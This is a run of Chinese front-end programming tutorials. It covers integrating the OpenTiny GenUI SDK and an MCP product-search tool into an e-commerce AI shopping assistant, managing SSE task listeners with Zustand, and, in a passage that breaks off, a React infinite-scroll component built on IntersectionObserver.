<AIAssistantDrawer
  v-if="assistantOpen"
  v-model="assistantOpen"
/>

配置悬浮球样式

核心功能:设置悬浮球的样式、位置、交互效果,确保与电商系统视觉风格统一

.assistant-fab {
  position: fixed;
  right: 18px;
  bottom: 20px;
  z-index: 72;
  border: 0;
  border-radius: 999px;
  background: linear-gradient(135deg, #8b5cf6 0%, #6366f1 100%);
  color: #fff;
  min-height: 52px;
  padding: 8px 14px 8px 10px;
  display: inline-flex;
  align-items: center;
  gap: 10px;
  box-shadow: 0 10px 24px rgba(77, 46, 141, 0.28);
  cursor: pointer;
}

.assistant-fab__dot {
  width: 34px;
  height: 34px;
  border-radius: 50%;
  display: grid;
  place-items: center;
  font-size: 12px;
  font-weight: 700;
  background: rgba(255, 255, 255, 0.18);
}

.assistant-fab__text {
  display: grid;
  text-align: left;
  gap: 1px;
  font-size: 13px;
  font-weight: 700;
  line-height: 1.2;
}

.assistant-fab__text small {
  font-size: 11px;
  font-weight: 500;
  opacity: 0.88;
}

4.2 初体验验证

启动前端项目后,点击页面右下角的 AI 导购助手悬浮球,验证以下基础功能是否正常:

  • AI 助手侧边抽屉能正常打开、关闭
  • 聊天框能正常显示,支持输入消息
  • 输入消息后,能正常接收大模型返回的内容,体验生成式 UI 基础能力

测试建议:输入简单问候语(如“你好呀!”),查看大模型返回结果是否正常。

4.png

目前生成式 UI 已成功集成到电商系统中,但此时的生成式 UI 与电商系统核心业务完全独立,无法实现商品搜索、加购等电商相关功能。接下来,我们将接入电商系统原生能力,将生成式 UI 与电商业务深度融合,打造真正的智能导购助手。

首先,在 src 目录下新建 genui 文件夹,用于存放生成式 UI 相关的工具、组件、交互配置等文件,统一管理相关代码。

5. 集成 MCP:商品查询能力赋能

智能导购助手的核心能力是根据用户需求推荐商品,因此需将电商系统中原有的商品搜索能力,通过 MCP(Model Context Protocol)工具封装,接入到 AI 助手当中,实现商品实时查询与推荐。

5.1 MCP 工具开发

在 src/genui/mcp 目录下新建 product-mcp.ts 文件,开发商品搜索 MCP 工具。

核心功能:开发商品搜索 MCP 工具,封装电商商品查询接口,定义参数校验、返回格式,供 AI 助手调用

import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'
import { z } from 'zod'
import { searchProducts } from '../../api'
import type { Product } from '../../types'

export const SEARCH_PRODUCTS_TOOL = 'search_products'

export const SearchProductsArgsSchema = z.object({
  keyword: z.string().min(1, 'keyword 不能为空'),
  limit: z.number().int().min(1).max(10).optional(),
})

export const ProductSchema = z.object({
  id: z.string(),
  title: z.string(),
  price: z.number(),
  image: z.string(),
  description: z.string(),
  tags: z.array(z.string()),
  rating: z.number(),
  ratingCount: z.number(),
  inStock: z.boolean(),
  badgeText: z.string(),
})

export const SearchProductsResultSchema = z.object({
  tool: z.literal(SEARCH_PRODUCTS_TOOL),
  keyword: z.string(),
  total: z.number().int().min(0),
  found: z.boolean(),
  results: z.array(ProductSchema),
})

export type SearchProductsArgs = z.infer<typeof SearchProductsArgsSchema>
export type SearchProductsResult = z.infer<typeof SearchProductsResultSchema>

async function searchProductsByBusiness(keyword: string, limit = 4): Promise<Product[]> {
  const results = await searchProducts(keyword)
  return results.slice(0, limit)
}

export function createProductMcpServer() {
  const server = new McpServer(
    { name: 'e-commerce-product-mcp-server', version: '1.0.0' },
    {},
  )

  server.registerTool(
    SEARCH_PRODUCTS_TOOL,
    {
      title: '搜索商品',
      description: '根据关键词在商品库中搜索商品',
      inputSchema: SearchProductsArgsSchema,
    },
    async (rawArgs) => {
      const parsedArgs = SearchProductsArgsSchema.safeParse(rawArgs)
      if (!parsedArgs.success) {
        throw new Error('参数校验失败')
      }

      const { keyword, limit = 4 } = parsedArgs.data
      const results = await searchProductsByBusiness(keyword, limit)

      const payload = SearchProductsResultSchema.parse({
        tool: SEARCH_PRODUCTS_TOOL,
        keyword,
        total: results.length,
        found: results.length > 0,
        results,
      })

      return {
        content: [{ type: 'text', text: JSON.stringify(payload) }],
      }
    },
  )

  return server
}

5.2 MCP Client 开发

开发完 MCP 工具(服务端)后,需开发 MCP 客户端,用于调用该工具。由于 MCP 服务端与客户端运行在同一服务中,因此采用 InMemoryTransport 方式实现两者的通信,无需额外配置网络接口。

在 src/genui/mcp 目录下新建 mcp-client.ts 文件,编写 MCP 客户端代码。

核心功能:开发 MCP 客户端,通过内存通信方式连接 MCP 服务端,提供工具列表获取、工具调用等能力

import OpenAI from 'openai'
import { Client } from '@modelcontextprotocol/sdk/client'
import { InMemoryTransport } from '@modelcontextprotocol/sdk/inMemory.js'
import { createProductMcpServer } from './product-mcp'

let clientPromise: Promise<Client> | null = null

async function createClient() {
  const [clientTransport, serverTransport] = InMemoryTransport.createLinkedPair()
  const server = createProductMcpServer()
  await server.connect(serverTransport)

  const client = new Client({ name: 'e-commerce-product-mcp-client', version: '1.0.0' }, {})
  await client.connect(clientTransport)
  return client
}

export function getMcpClient() {
  if (!clientPromise) clientPromise = createClient()
  return clientPromise
}

export async function getOpenAITools() {
  const client = await getMcpClient()
  const raw = await (client as unknown as { listTools: () => Promise<{ tools?: Array<Record<string, unknown> }> }).listTools()
  const tools = Array.isArray(raw?.tools) ? raw.tools : []
  return tools
    .filter((tool) => typeof tool?.name === 'string')
    .map(
      (tool) =>
        ({
          type: 'function',
          function: {
            name: tool.name as string,
            description: typeof tool.description === 'string' ? tool.description : '',
            parameters:
              tool.inputSchema && typeof tool.inputSchema === 'object'
              ? (tool.inputSchema as Record<string, unknown>)
              : { type: 'object', properties: {} },
          },
        }) as OpenAI.Chat.Completions.ChatCompletionTool,
    )
}

export async function callMcpToolAsText(name: string, args: Record<string, unknown> = {}) {
  const client = await getMcpClient()
  const result = await client.callTool({ name, arguments: args })
  const content = Array.isArray((result as { content?: unknown }).content)
    ? ((result as { content: Array<{ type?: string; text?: string }> }).content ?? [])
    : []
  const text = content.find((item) => item.type === 'text' && typeof item.text === 'string')?.text
  return text ?? JSON.stringify(result)
}

5.3 自定义 fetch:实现工具调用与流式返回

要将 MCP 工具能力接入 AI 导购助手,需通过自定义 fetch 方法,处理大模型的工具调用请求、多轮交互及结果流式返回逻辑,确保工具调用过程流畅、符合电商业务场景。

在 src/genui/mcp 目录下新建 custom-fetch.ts 文件,编写自定义 fetch 逻辑。

核心功能:自定义 fetch 方法,处理大模型工具调用、多轮交互及流式返回,对接 MCP 工具与 AI 助手

import OpenAI from 'openai'
import type { CustomFetch } from '@opentiny/genui-sdk-vue'
import { getOpenAITools, callMcpToolAsText } from './mcp-client'

interface OpenAIFetchConfig {
  apiKey: string
  baseURL?: string
  defaultModel?: string
  maxToolSteps?: number
}

type ParsedRequestBody = {
  model?: string
  temperature?: number
  messages?: unknown[]
}

type ToolCallDelta = {
  index?: number
  id?: string
  function?: {
    name?: string
    arguments?: string
  }
}

type ToolCall = {
  id: string
  type: 'function'
  function: {
    name: string
    arguments: string
  }
}

function encodeSseChunk(encoder: TextEncoder, data: unknown) {
  return encoder.encode(`data: ${JSON.stringify(data)}\n\n`)
}

function parseRequestBody(body: string): ParsedRequestBody {
  try {
    return JSON.parse(body) as ParsedRequestBody
  } catch {
    return {}
  }
}

function accumulateToolCalls(target: ToolCall[], deltas: ToolCallDelta[]) {
  for (const delta of deltas) {
    const index = delta.index ?? 0
    const item = (target[index] ??= {
      id: delta.id ?? '',
      type: 'function',
      function: { name: '', arguments: '' },
    })

    if (delta.id) item.id = delta.id
    if (delta.function?.name) item.function.name += delta.function.name
    if (delta.function?.arguments) item.function.arguments += delta.function.arguments
  }
}

async function executeToolCall(toolCall: ToolCall, currentMessages: unknown[]) {
  const createResult = (result: string) => {
    currentMessages.push({ role: 'tool', tool_call_id: toolCall.id, content: result })
    return {
      id: toolCall.id,
      type: 'function',
      function: {
        name: toolCall.function.name,
        arguments: toolCall.function.arguments,
        result,
      },
    }
  }

  try {
    const result = await callMcpToolAsText(toolCall.function.name, JSON.parse(toolCall.function.arguments || '{}'))
    return createResult(JSON.stringify(result))
  } catch (error) {
    return createResult(
      JSON.stringify({
        error: error instanceof Error ? error.message : '工具执行失败',
      }),
    )
  }
}

const systemPrompt = `
你是一个电商导购助手,你的任务是根据用户的需求,推荐商品。禁止使用mock数据,必须使用mcp工具获取商品数据。
你的可展示区域宽度不大,请注意你的布局。商品卡片宽度差不多占满了显示区域,请注意排版,单行只可以放一张商品卡片。
如果缺少的商品,请提示用户,让用户自行通过其他方式购买。
`

export function createMcpOpenAICustomFetch(config: OpenAIFetchConfig): CustomFetch {
  const openai = new OpenAI({
    apiKey: config.apiKey,
    baseURL: config.baseURL,
    dangerouslyAllowBrowser: true,
  })

  const maxToolSteps = config.maxToolSteps ?? 20

  return async (
    _url: string,
    options: {
      method: string
      headers: Record<string, string>
      body: string
      signal?: AbortSignal
    },
  ) => {
    const req: any = parseRequestBody(options.body)

    const encoder = new TextEncoder()

    const stream = new ReadableStream<Uint8Array>({
      async start(controller) {
        try {
          let step = 0
          const currentMessages = [{ role: 'system', content: systemPrompt }, ...req.messages]

          const tools = await getOpenAITools()

          while (step < maxToolSteps) {
            const completion = await openai.chat.completions.create(
              {
                ...req,
                messages: currentMessages as OpenAI.Chat.Completions.ChatCompletionMessageParam[],
                tools,
                tool_choice: 'auto',
                stream: true,
              },
              { signal: options.signal },
            )

            const toolCalls: ToolCall[] = []
            let hasToolCall = false
            let shouldContinue = false

            for await (const chunk of completion) {
              const choice = chunk.choices?.[0]
              if (!choice) continue

              if (choice.delta.tool_calls && choice.delta.tool_calls.length > 0) {
                hasToolCall = true
                accumulateToolCalls(toolCalls, choice.delta.tool_calls as ToolCallDelta[])
              }

              controller.enqueue(encodeSseChunk(encoder, chunk))

              if (choice.finish_reason === 'tool_calls' && toolCalls.length > 0) {
                currentMessages.push({
                  role: 'assistant',
                  content: null,
                  tool_calls: toolCalls,
                })

                const toolResults = await Promise.all(
                  toolCalls.map(async (item, index) => ({ ...(await executeToolCall(item, currentMessages)), index })),
                )

                controller.enqueue(
                  encodeSseChunk(encoder, {
                    id: chunk.id,
                    object: 'chat.completion.chunk',
                    model: chunk.model,
                    created: chunk.created || Math.floor(Date.now() / 1000),
                    choices: [
                      {
                        index: 0,
                        delta: { tool_calls_result: toolResults },
                        finish_reason: 'tool_calls',
                      },
                    ],
                  }),
                )

                shouldContinue = true
                break
              }

              if (choice.finish_reason && choice.finish_reason !== 'tool_calls') {
                shouldContinue = false
                break
              }
            }

            step += 1
            if (!hasToolCall || !shouldContinue) break
          }

          controller.enqueue(encoder.encode('data: [DONE]\n\n'))
          controller.close()
        } catch (error) {
          controller.enqueue(
            encodeSseChunk(encoder, {
              error: {
                message: error instanceof Error ? error.message : 'customFetch 处理失败',
                type: 'custom_fetch_error',
              },
            }),
          )
          controller.error(error)
        }
      },
    })

    return new Response(stream, {
      status: 200,
      headers: {
        'Content-Type': 'text/event-stream',
        'Cache-Control': 'no-cache',
        Connection: 'keep-alive',
      },
    })
  }
}

6. 引入自定义 fetch:实现工具调用

自定义 fetch 编写完成后,需在 AIAssistantDrawer.vue 组件中引入并配置,将其传入 GenuiChat 组件,实现 AI 助手对 MCP 商品搜索工具的调用。

修改 AIAssistantDrawer.vue 组件,引入自定义 fetch 并配置相关参数:

import { createMcpOpenAICustomFetch } from '../genui/mcp/custom-fetch'

// ...省略部分代码
// 在model定义的后面创建自定义fetch
const customFetch = createMcpOpenAICustomFetch({
  apiKey: 'sk-trial',
  baseURL: 'http://localhost:3100',
  defaultModel: model.value,
  maxToolSteps: 20,
})

修改 GenuiChat 组件的使用方式,添加 custom-fetch 属性,传入配置好的自定义 fetch:

<GenuiChat
    ref="chatRef"
    :url="chatUrl"
    :model="model"
    :temperature="temperature"
    :custom-fetch="customFetch"
    :chat-config="chatConfig"
/>

配置完成后,重新启动前端项目,打开 AI 导购助手,输入测试需求:“我想去露营!但我没经验,也没装备,预算 1500 元以内!”,验证工具调用功能是否正常。

预期效果:AI 助手会自动调用 MCP 商品搜索工具,根据“露营装备”“预算 1500 元以内”等关键词搜索商品,并通过多轮工具调用优化推荐结果,最终生成商品卡片。

5.png

注意:此时生成的商品卡片样式由大模型随机生成,与电商系统原生商品卡片样式不一致,且点击“加入购物车”等按钮无法触发实际业务操作,用户体验存在明显短板。

6.png

目前在自定义组件与自定义交互的体验上,仍有部分细节不够完善,整体使用感受尚未达到理想状态。接下来,我们就围绕这两部分进行优化,让组件表现与交互行为更加贴合电商系统原生体验,实现无缝衔接。

7. 自定义组件:复刻原生系统体验,保持一致交互质感

为解决商品卡片样式与电商系统不一致的问题,我们将复用电商系统中原有的 ProductCard.vue 商品卡片组件,通过 GenUI 自定义组件配置,让 AI 助手生成的商品卡片与系统原生样式完全统一,保证视觉与交互的一致性。

在 src/genui/chat 目录下新建 custom-components.ts 文件,配置自定义商品卡片组件,明确组件参数、事件及使用规范,供大模型理解和调用:

import ProductCard from '../../components/ProductCard.vue'

export const customComponents = [
  {
    component: 'ProductCard',
    name: '导购商品卡片',
    description:
      '展示推荐商品信息,单张卡片宽度是600px,请注意排版,另外组件包含onOpen和onAdd事件,请务必给对应的事件绑定对应的交互事件',
    schema: {
      properties: [
        { property: 'id', type: 'string', description: '商品 id' },
        { property: 'title', type: 'string', description: '商品标题', required: true },
        { property: 'price', type: 'number', description: '商品价格', required: true },
        { property: 'image', type: 'string', description: '商品图片 URL' },
        { property: 'description', type: 'string', description: '商品描述' },
        { property: 'tags', type: 'array', description: '标签数组' },
        { property: 'rating', type: 'number', description: '评分,0-5' },
        { property: 'ratingCount', type: 'number', description: '评分人数' },
        { property: 'inStock', type: 'boolean', description: '是否有货' },
        { property: 'badgeText', type: 'string', description: '角标文案' },
        { property: 'onOpen', type: 'function', description: '打开商品详情,必须绑定跳转商品页详情事件' },
        { property: 'onAdd', type: 'function', description: '加入购物车,必须绑定加入购物车事件' },
      ],
    },
    ref: ProductCard,
  },
]

说明:该配置中复用了电商系统已有的 ProductCard.vue 组件,无需额外编写组件代码,仅需明确组件的参数、事件及使用规范,确保大模型能正确渲染组件。

在 AIAssistantDrawer.vue 组件中引入自定义组件,并传入 GenuiChat 组件,实现原生商品卡片的渲染:

import { customComponents } from '../genui/chat/custom-components'
<GenuiChat
    ref="chatRef"
    :url="chatUrl"
    :customFetch="customFetch"
    :customComponents="customComponents"
    :model="model"
    :temperature="temperature"
    :chat-config="chatConfig"
/>

刷新页面后,重新输入测试需求:“我想去露营!但我没经验,也没装备,预算 1500 元以内!”,此时 AI 助手生成的商品卡片将与电商系统原生卡片样式完全一致。

7.png

自定义组件集成完成后,接下来配置对应的交互动作,实现商品加购、详情跳转等核心业务功能,让 AI 助手的交互与电商系统保持一致。

8. 自定义交互:贴合业务场景,原生体验不割裂

为实现商品加购、商品详情跳转、购物车跳转等核心交互功能,我们在 src/genui/chat 目录下新建 custom-actions.ts 文件,定义与电商业务对应的交互动作,并绑定系统原生业务逻辑,确保交互体验与电商系统无缝衔接。

新建 custom-actions.ts 文件,定义 addToCart(加入购物车)、openProduct(打开商品详情)、openCart(打开购物车)三个核心交互动作:

import { z } from 'zod'
import type { ICustomActionItem } from '@opentiny/genui-sdk-vue'
import type { Product } from '../../types'

const ProductActionSchema = z.object({
  id: z.string(),
  title: z.string(),
  price: z.number(),
  image: z.string().optional(),
  description: z.string().optional(),
  tags: z.array(z.string()).optional(),
  rating: z.number().optional(),
  ratingCount: z.number().optional(),
  inStock: z.boolean().optional(),
  badgeText: z.string().optional(),
})

const OpenProductSchema = z.object({
  productId: z.string(),
})

type CreateActionOptions = {
  addProduct: (product: Product) => void
  openProduct: (id: string) => void
  openCart: () => void
}

export function createCustomActions(options: CreateActionOptions) {
  return [
    {
      name: 'addToCart',
      description: '将商品加入购物车',
      parameters: {
        type: 'object',
        properties: {
          product: {
            type: 'object',
            description: '待加入购物车商品',
            properties: {
              id: { type: 'string', description: '商品 id' },
              title: { type: 'string', description: '商品标题' },
              price: { type: 'number', description: '商品价格' },
              image: { type: 'string', description: '商品图片 URL' },
              description: { type: 'string', description: '商品描述' },
              tags: { type: 'array', description: '标签数组' },
              rating: { type: 'number', description: '评分' },
              ratingCount: { type: 'number', description: '评分人数' },
              inStock: { type: 'boolean', description: '是否有货' },
              badgeText: { type: 'string', description: '角标文案' },
            },
            required: ['id', 'title', 'price'],
          },
        },
        required: ['product'],
      } as const,
      execute: (params: unknown) => {
        const parsed = z
          .object({ product: ProductActionSchema })
          .safeParse(params)
        if (!parsed.success) return
        options.addProduct(parsed.data.product as Product)
      },
    },
    {
      name: 'openProduct',
      description: '跳转到商品详情页',
      parameters: {
        type: 'object',
        properties: {
          productId: { type: 'string', description: '商品 id' },
        },
        required: ['productId'],
      } as const,
      execute: (params: unknown) => {
        const parsed = OpenProductSchema.safeParse(params)
        if (!parsed.success) return
        options.openProduct(parsed.data.productId)
      },
    },
    {
      name: 'openCart',
      description: '打开当前用户购物车页面',
      parameters: {
        type: 'object',
        properties: {},
      } as const,
      execute: () => {
        options.openCart()
      },
    },
  ] as ICustomActionItem[]
}

交互动作定义完成后,在 AIAssistantDrawer.vue 组件中注入这些动作,并绑定电商系统原生的业务逻辑(购物车操作、路由跳转),实现交互功能的落地:

import type { Product } from '../types'
import { createCustomActions } from '../genui/chat/custom-actions'
import { useCart, useCartNotice } from '../composables'
import { useRouter } from 'vue-router'

const router = useRouter()
const { addToCart } = useCart()
const { showCartNotice } = useCartNotice()

function onAddProduct(product: Product) {
  addToCart(product, 1)
  showCartNotice(product.title)
}

const customActions = computed(() =>
  createCustomActions({
    addProduct: onAddProduct,
    openProduct: (id) => {
      closeDrawer()
      router.push(`/products/${id}`)
    },
    openCart: () => {
      closeDrawer()
      router.push('/cart')
    },
  }),
)

将自定义交互动作传入 GenuiChat 组件,完成交互绑定:

<GenuiChat
    ref="chatRef"
    :url="chatUrl"
    :model="model"
    :temperature="temperature"
    :custom-fetch="customFetch"
    :custom-components="customComponents"
    :custom-actions="customActions"
    :chat-config="chatConfig"
/>

最后,修改系统提示词,添加自定义组件和自定义交互的约束,确保大模型能正确使用原生组件和交互动作:

你是一个电商导购助手,你的任务是根据用户的需求,推荐商品。禁止使用mock数据,必须使用mcp工具获取商品数据。推荐完商品后,最后加上加入购物按钮,并绑定方法,点击跳转到购物。
你的可展示区域宽度不大,请注意你的布局。商品卡片宽度差不多占满了显示区域,请注意排版,单行只可以放一张商品卡片。
商品卡片需要绑定加入购物车事件和打开商品详情事件,请务必给对应的事件绑定对应的交互事件, 禁止自定义方法,必须使用this.callAction中提到的方法, 例如:this.callAction('addToCart', { product: product })
如果缺少的商品,请提示用户,让用户自行通过其他方式购买。

配置完成后,重新输入测试需求:“我想去露营!但我没经验,也没装备,预算 1500 元以内!”,验证交互功能是否正常。

预期效果: 点击商品卡片的“加入购物车”按钮,会弹出加购成功提示,同时商品会成功添加到购物车;点击商品卡片本身,会关闭 AI 助手抽屉并跳转到对应商品的详情页;点击“打开购物车”按钮,会关闭抽屉并跳转到购物车页面。

8.png

至此,一个完整的电商 AI 导购助手已集成完成。该助手具备商品搜索、原生样式商品展示、核心交互操作等功能,与电商系统的视觉和交互体验完全统一,可为用户提供智能、流畅的导购服务。

结语

从小明的"冲动露营"到一键加购心仪装备,这段旅程的背后,是 GenUI SDK 将 AI 能力与业务系统深度融合的一次完整实践。

回顾整个集成过程,我们只需几个关键步骤:通过 GenuiChat 组件搭建对话界面,用 MCP 工具封装业务查询能力,再以自定义组件和交互动作将 AI 输出与原生系统无缝衔接——整个过程无需重构已有逻辑,改动极其轻量,却换来了质的体验飞跃。

这正是 OpenTiny GenUI SDK 的设计初衷:让每一个业务系统,都能低成本拥有属于自己的智能 AI 助手。

它不只是一个聊天框,而是一套完整的生成式 UI 集成方案

  • 使用简单:提供完整前后端解决方案,支撑快速启动
  • 灵活扩展:集成MCP 工具、自定义组件、自定义交互,三层能力任意组合
  • 风格统一:复用已有组件,AI 生成内容与系统原生界面浑然一体

无论是电商导购、客服助手,还是内部工具的智能化升级,GenUI SDK 都能成为你最顺手的那把钥匙。

如果这篇文章对你有所启发,欢迎访问我们的开源仓库:github.com/opentiny/ge…,点上 Star ⭐ 支持一下——你的每一个 Star,都是我们持续打磨开源产品的动力!

若你想了解更多GenUI SDK, 可以通过以下相关链接进一步体验了解~
官网链接: opentiny.design/genui-sdk
使用文档:docs.opentiny.design/genui-sdk/g…
演练场:playground.opentiny.design/genui-sdk (备用链接: opentiny.github.io/genui-sdk/p…)

第五篇:前端任务状态管理与实时反馈 (SSE 客户端篇)

📁 专栏系列:AI 提示词与知识库管理系统

项目技术栈:Node.js + Express + 阿里云百炼 (Bailian) + SSE + Zustand
核心目标:实现文档自动切片、向量索引构建和智能问答功能。


第五篇:前端任务状态管理与实时反馈 (SSE 客户端篇)

适用场景:React 前端状态管理、SSE 长连接处理
大神提示:本篇主要记录前端如何优雅地处理异步任务轮询,避免重复请求,大神可略过,求轻喷 🙏

本篇是 RAG 系统的前端收尾环节。虽然后端已经实现了状态流转,但如果前端做得不好,很容易出现**“重复建立连接”“内存泄漏”**的问题。

核心逻辑是:Zustand 全局状态去重 + 单例连接控制


1. 核心痛点:如何避免重复请求?

在 SPA(单页应用)中,用户可能会频繁切换页面或组件重渲染。如果没有状态管理:

  • 用户点击上传 -> 建立 SSE 连接。
  • 用户切到别的页面再切回来 -> 组件重新挂载 -> 又建立一个新连接。
  • 结果:浏览器同时维持了 5 个连接在听同一个任务,控制台疯狂打印日志。

解决方案

  1. Zustand Store:用一个全局的 Set 存储所有“正在进行的任务 ID”。
  2. 单例模式:在请求层判断,如果该 ID 已经在监听中,直接返回,不再建立新连接。

2. 核心代码解析 (TypeScript + React)

本篇分为两部分:状态定义和连接逻辑。

第一部分:状态定义 (Zustand)

使用 Set 而不是 Array,因为 Set 天然保证唯一性,且 has() 查找速度是 O(1),比数组的 includes() (O(n)) 更快。

import { create } from 'zustand';

// 类型定义
interface TaskState {
  activeTaskIds: Set<string>;
  actions: {
    addTask: (id: string) => void;
    removeTask: (id: string) => void;
  };
}

const useTaskStore = create<TaskState>((set) => ({
  activeTaskIds: new Set(),
  actions: {
    addTask: (id: string) =>
      set((state) => {
        const newSet = new Set(state.activeTaskIds);
        newSet.add(id); // 如果已存在,Set 会自动忽略
        return { activeTaskIds: newSet };
      }),
    removeTask: (id: string) =>
      set((state) => {
        const newSet = new Set(state.activeTaskIds);
        newSet.delete(id);
        return { activeTaskIds: newSet };
      }),
  },
}));

// 导出 Hooks
export { useTaskStore };
export const useTaskActions = () => useTaskStore((state) => state.actions);
export const useActiveTaskIds = () => useTaskStore((state) => state.activeTaskIds);

第二部分:连接逻辑 (Utils)

这里有一个非常关键的优化点:listeningTasks
Zustand 里的 activeTaskIds 是给 UI 用的(驱动视图更新),而 listeningTasks 是给逻辑层用的(防止代码重复执行)。两者结合才能保证万无一失。

import { message } from "antd";
import { useTaskStore } from "@/store";
import { getTaskListAction } from "@/api/rag";

// 🔑 关键:逻辑层的去重 Set
// Zustand 是为了驱动 UI 更新,这个 Set 是为了防止代码逻辑重复执行
const listeningTasks = new Set();

/**
 * 启动单个任务的监听器
 * @param taskId 任务 ID
 */
export const startTaskListener = async (taskId: string) => {
  // ✅ 第一层防御:逻辑层去重
  // 即使组件多次调用,这里也能拦截住
  if (listeningTasks.has(taskId)) {
    console.log('该任务已在监听列表中,跳过重复请求', taskId);
    return;
  }

  listeningTasks.add(taskId);
  console.log('开始监听任务状态', taskId);

  try {
    const response = await fetch(`/proxy/api/ragEngine/getFileStatus/${taskId}`, {
      method: 'GET',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${localStorage.getItem('token')}`,
      },
    });

    if (!response.ok) {
      throw new Error('连接建立失败!');
    }

    const reader = response.body?.getReader();
    const decoder = new TextDecoder();

    // ✅ 第二层防御:无限循环读取流
    // done 为 true 时才会退出
    while (true && reader) {
      const { done, value } = await reader.read();
      if (done) break;

      const chunk = decoder.decode(value, { stream: true });
      const lines = chunk.split('\n');

      for (const line of lines) {
        if (line.startsWith('data: ')) {
          const dataStr = line.slice(6).trim();
          try {
            const parsed = JSON.parse(dataStr);
            console.log('后端推送数据:', parsed);

            // ✅ 第三层防御:状态判断与清理
            // 只有成功或失败才清理,否则一直挂着
            if (parsed.status === "SUCCESS") {
              message.success('文件解析成功,可以进行问答了!');
              // 1. 通知 Store 移除任务(驱动 UI 更新)
              useTaskStore.getState().actions.removeTask(taskId);
              // 2. 退出循环,断开连接
              return;
            }
          } catch (e) {
            console.warn('解析 JSON 失败:', line);
          }
        }
      }
    }
  } catch (error: any) {
    if (error.name === 'AbortError') {
      console.log('用户主动中断了请求');
    } else {
      console.error('SSE 连接错误:', error);
      message.error('文件解析异常中断');
    }
  } finally {
    // ✅ 第四层防御:确保清理逻辑层状态
    listeningTasks.delete(taskId);
  }
};

/**
 * 初始化全局监听器
 * 应用启动时调用,恢复上次未完成的任务
 */
export const initGlobalTaskListener = () => {
  getTaskListAction().then((res: any) => {
    if (res.code !== 200) return;

    // 筛选出还在进行中的任务
    const tasks = res.data.filter((f: any) => !['SUCCESS', 'FAILED'].includes(f.status));
    
    tasks.forEach((task: any) => {
      // 1. 先加入 Store,防止页面上的按钮重复点击
      useTaskStore.getState().actions.addTask(task.taskId);
      // 2. 开启监听
      startTaskListener(task.taskId);
    });
  });
};

3. 为什么用 Set 而不是 MapArray

数据结构 适用场景 本项目场景分析
Array (数组) 存储有序列表,需要遍历或通过下标访问。 不合适。如果用数组,每次都要遍历检查 ID 是否存在(arr.includes(id)),效率低且代码冗余。
Map (映射) 存储键值对,需要通过 Key 查找 Value。 过度设计。如果我们不需要存储额外的 Value(比如任务进度条数值),只关心 ID 是否存在,Map 就显得多余。
Set (集合) 存储唯一值,判断“是否存在”。 完美匹配。我们的需求仅仅是:“这个任务 ID 123 正在运行吗?” (Set.has(id))。它自动去重,查找速度快 (O(1))。

💡 总结
至此,我们的 RAG 系统前端状态管理闭环了。从用户上传文件开始,到后端处理,再到前端实时感知,整个流程已经跑通。

最后的建议

  1. 入口调用:记得在 App.tsx 或路由守卫中调用 initGlobalTaskListener
  2. 组件调用:文件上传成功后,调用 useTaskActions().addTask(id)startTaskListener(id)

代码获取提示
由于篇幅限制,UI 组件部分(如进度条组件)没有贴出。如果你需要完整的前端源码(含 React 组件封装),可以私信我获取,欢迎交流讨论!

深入浅出:用 React 打造高性能懒加载无限滚动组件

深入浅出:用 React 打造高性能懒加载无限滚动组件

在现代 Web 开发中,性能优化用户体验往往是一对矛盾的统一体。我们既希望一次性给用户展示海量的数据(如社交媒体的动态流),又不希望页面因为加载过重而卡顿。为了解决这一问题,懒加载(Lazy Loading)无限滚动(Infinite Scroll) 应运而生。

今天,我们将深入剖析一个基于 React 构建的高性能无限滚动组件。它利用现代浏览器的 Intersection Observer API,巧妙地替代了传统的滚动监听,实现了既优雅又高效的“按需加载”。


组件内容

import { useRef,useEffect } from 'react';

// load more 通用组件
interface InfiniteScrollProps {
    hasMore: boolean; // 是否所以数据都加载了 分页
    isLoading?: boolean; // 滚动到底部加载更多 避免重复触发
    onLoadMore: () => void; // 更多加载的一个抽象 /api/posts?page=2&limit=10
    children: React.ReactNode; // InfiniteScroll 通用的滚动功能,滚动的具体内容接受定制
}
const InfiniteScroll:React.FC<InfiniteScrollProps> = ({
    hasMore,
    isLoading = false,
    onLoadMore,
    children,
}) => {
    // HTMLDivElement React 前端全局提供
    const sentinelRef = useRef<HTMLDivElement>(null);
    useEffect(() => {
        // dom, 组件挂载后
        if (!hasMore || isLoading) return; // 没有更多数据了 或者 加载中 不触发
        // IntersectionObserver 没有性能问题,不需要防抖节流
        const observer = new IntersectionObserver((entries) => {
            if (entries[0].isIntersecting) { // 是否进入视窗 viewport
                onLoadMore();
            }
        }, {
            threshold: 0, // 视窗进入 0% 就触发
        }
        );
        if(sentinelRef.current) {
            observer.observe(sentinelRef.current);
        }
        // 组件卸载时,断开观察(路由切换时,需要断开观察,否则会重复触发)
        return () => {
            if (sentinelRef.current) {
                observer.unobserve(sentinelRef.current);
            }
        }
    },[onLoadMore,hasMore,isLoading])
    // react 不建议直接访问dom,useRef
    return (
        <>
            {children}
            {/* Intersection Observer 哨兵元素 */}
        <div ref={sentinelRef} className="h-4" />
        {
            isLoading && (
                <div className='text-center py-4 text-sm text-muted-foreground'>
                    加载中...
                </div>
            )
        }
        </>
    )
}

export default InfiniteScroll;

🧩 核心概念:什么是 Intersection Observer?

在深入代码之前,我们需要理解一个关键概念:Intersection Observer(交叉观察器)

传统的无限滚动通常通过监听 windowscroll 事件实现。但这种做法存在性能隐患,因为滚动事件触发频率极高,频繁的 DOM 查询(getBoundingClientRect)会导致页面卡顿(俗称“掉帧”)。

Intersection Observer 是现代浏览器提供的原生 API,它允许我们异步监听目标元素是否进入视口,且完全不阻塞主线程,无需手动防抖(Debounce)。

核心角色:
  1. 目标元素(Target): 我们要观察的 DOM 节点。
  2. 根元素(Root): 观察的容器(通常是视口)。
  3. 阈值(Threshold): 目标元素与根元素相交的比例(0-1),达到该比例时触发回调。

💻 代码深度解析

这段代码实现了一个通用的 React 函数组件,利用 TypeScript 定义了清晰的接口,封装了无限滚动的逻辑。

1. 接口定义:明确的契约

代码首先定义了 InfiniteScrollProps 接口,这是组件与外部交互的“契约”:

  • hasMore: boolean数据开关。指示是否还有更多数据可供加载。如果为 false,则停止一切观察行为。
  • isLoading?: boolean加载锁。标记当前是否正在加载数据。这能有效防止用户在快速滚动时触发重复的请求。
  • onLoadMore: () => void加载回调。当用户滚动到底部时,组件会调用此函数(通常用于发起 API 请求,如 /api/posts?page=2&limit=10)。
  • children: React.ReactNode内容占位。这是组件最灵活的部分,允许父组件传入任何需要展示的列表内容。
2. 核心逻辑:哨兵模式

